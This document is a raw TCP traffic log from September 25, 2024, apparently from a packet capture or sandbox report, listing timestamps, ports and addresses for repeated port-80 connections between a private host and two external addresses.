Sep 25, 2024 10:33:22.623308897 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684386015 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684431076 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684484959 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684484959 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684520960 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684529066 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684539080 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684573889 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684581995 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684614897 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684624910 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684664965 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684683084 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684721947 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684731960 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684771061 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684783936 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684825897 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684833050 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684868097 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684873104 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684909105 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684922934 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684952021 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.684963942 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.684992075 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685002089 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685035944 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685040951 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685070038 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685077906 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685102940 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685108900 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685146093 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685157061 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685199022 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685205936 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685241938 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685246944 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685280085 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685286045 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685321093 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685329914 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685364008 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685373068 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685404062 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685414076 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685456038 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685463905 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685498953 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685511112 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685533047 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685538054 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685574055 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685583115 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685616016 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685627937 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685647964 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685658932 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685698032 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685729027 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685730934 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685739994 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685769081 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685801029 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685815096 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685834885 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685852051 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685867071 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685877085 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685902119 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685934067 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.685935020 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685941935 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.685967922 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686000109 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686000109 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686012983 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686033964 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686037064 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686064005 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686073065 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686098099 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686110020 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686131954 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686141014 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686165094 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686173916 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686199903 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686208010 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686233044 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686265945 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686281919 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686299086 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686299086 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686319113 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686353922 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686386108 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686408997 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686423063 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686428070 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686436892 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686455011 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686465025 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686489105 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686492920 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686522007 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686526060 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686557055 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.686557055 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.686599016 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:25.153580904 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:25.153903961 CEST	64683	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:25.592401028 CEST	80	64683	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:25.592489958 CEST	64683	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:25.592505932 CEST	80	64680	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:25.592555046 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:25.592719078 CEST	64683	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:25.814131021 CEST	80	64680	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:25.814261913 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:25.820389986 CEST	80	64683	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:25.820476055 CEST	80	64680	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:26.537611961 CEST	80	64683	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:26.537730932 CEST	64683	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:26.539514065 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:26.539844990 CEST	64684	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:26.544689894 CEST	80	64684	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:26.544779062 CEST	64684	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:26.544809103 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:26.544853926 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:26.545012951 CEST	64684	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:26.549870968 CEST	80	64684	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:27.260623932 CEST	80	64684	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:27.260751963 CEST	64684	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:29.577737093 CEST	64683	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:29.578072071 CEST	64686	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:29.583024025 CEST	80	64683	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:29.583241940 CEST	80	64686	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:29.583307028 CEST	64683	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:29.583345890 CEST	64686	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:29.583525896 CEST	64686	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:29.588416100 CEST	80	64686	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:30.306199074 CEST	80	64686	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:30.308409929 CEST	64686	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:31.952121973 CEST	64686	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:31.952462912 CEST	64687	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:31.957374096 CEST	80	64686	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:31.957509041 CEST	64686	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:31.957839012 CEST	80	64687	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:31.957958937 CEST	64687	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:31.958144903 CEST	64687	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:31.963793039 CEST	80	64687	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:32.266542912 CEST	80	64684	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:32.266664982 CEST	64684	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:32.666846037 CEST	80	64687	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:32.667077065 CEST	64687	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:34.170909882 CEST	64687	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:34.171192884 CEST	64688	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:34.176033020 CEST	80	64687	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:34.176047087 CEST	80	64688	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:34.176095963 CEST	64687	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:34.176127911 CEST	64688	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:34.176270962 CEST	64688	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:34.181078911 CEST	80	64688	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:34.904834032 CEST	80	64688	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:34.904954910 CEST	64688	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:36.532984018 CEST	64688	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:36.533379078 CEST	64689	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:36.538923025 CEST	80	64689	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:36.539016962 CEST	64689	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:36.539182901 CEST	64689	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:36.539402962 CEST	80	64688	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:36.539460897 CEST	64688	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:36.544188976 CEST	80	64689	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:37.230500937 CEST	80	64689	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:37.230554104 CEST	64689	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:38.733501911 CEST	64689	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:38.733788013 CEST	64691	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:38.738610029 CEST	80	64691	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:38.738723993 CEST	80	64689	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:38.738725901 CEST	64691	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:38.738801956 CEST	64689	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:38.739002943 CEST	64691	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:38.743798018 CEST	80	64691	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:39.471823931 CEST	80	64691	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:39.472223997 CEST	64691	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:41.093034983 CEST	64691	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:41.093419075 CEST	64692	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:41.098190069 CEST	80	64691	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:41.098207951 CEST	80	64692	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:41.098259926 CEST	64691	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:41.098297119 CEST	64692	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:41.118402004 CEST	64692	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:41.123255014 CEST	80	64692	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:41.811949968 CEST	80	64692	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:41.812134981 CEST	64692	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:43.327405930 CEST	64692	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:43.327739000 CEST	64693	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:43.332654953 CEST	80	64693	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:43.332755089 CEST	64693	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:43.332837105 CEST	80	64692	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:43.332892895 CEST	64692	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:43.333014965 CEST	64693	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:43.337856054 CEST	80	64693	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:44.055486917 CEST	80	64693	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:44.055696011 CEST	64693	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:45.686567068 CEST	64693	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:45.686893940 CEST	64694	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:45.692034960 CEST	80	64693	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:45.692048073 CEST	80	64694	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:45.692118883 CEST	64693	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:45.692163944 CEST	64694	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:45.692390919 CEST	64694	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:45.697124958 CEST	80	64694	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:46.393695116 CEST	80	64694	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:46.393785954 CEST	64694	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:47.804192066 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:47.809144974 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:47.809272051 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:47.809348106 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:47.814188004 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:47.907253027 CEST	64694	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:47.907660961 CEST	64696	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:47.912379026 CEST	80	64694	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:47.912441015 CEST	64694	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:47.912447929 CEST	80	64696	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:47.912542105 CEST	64696	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:47.912702084 CEST	64696	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:47.917576075 CEST	80	64696	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:48.531085968 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531150103 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531183004 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531183004 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531210899 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531217098 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531218052 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531267881 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531300068 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531311035 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531332970 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531346083 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531364918 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531371117 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531414986 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531431913 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.531450033 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.531543970 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.536384106 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.536420107 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.536473036 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.615928888 CEST	80	64696	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:48.620524883 CEST	64696	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:48.660489082 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660545111 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660581112 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660614014 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660628080 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.660649061 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660660028 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.660686016 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660717964 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660729885 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.660749912 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.660757065 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.661225080 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.661278009 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.661278963 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.661312103 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.661344051 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.661350965 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.661376953 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.661386967 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.661407948 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.662074089 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.662136078 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.662138939 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.662188053 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.662223101 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.662230968 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.662255049 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.662256956 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.663024902 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.663057089 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.663090944 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.663109064 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.663124084 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.663136005 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.663161993 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.751045942 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.751094103 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.751180887 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789577961 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789618015 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789653063 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789680958 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789700985 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789736986 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789738894 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789762974 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789768934 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789776087 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789799929 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789808035 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789835930 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.789839029 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.789876938 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790201902 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790246010 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790254116 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790285110 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790292025 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790317059 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790323973 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790353060 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790719986 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790769100 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790802956 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790817022 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790843010 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790852070 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790883064 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790915012 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.790924072 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.790990114 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.791342974 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791407108 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791412115 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.791440964 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791538000 CEST	64695	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:48.791544914 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791577101 CEST	80	64695	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:48.791584015 CEST	64695	80	192.168.2.6	185.215.113.103
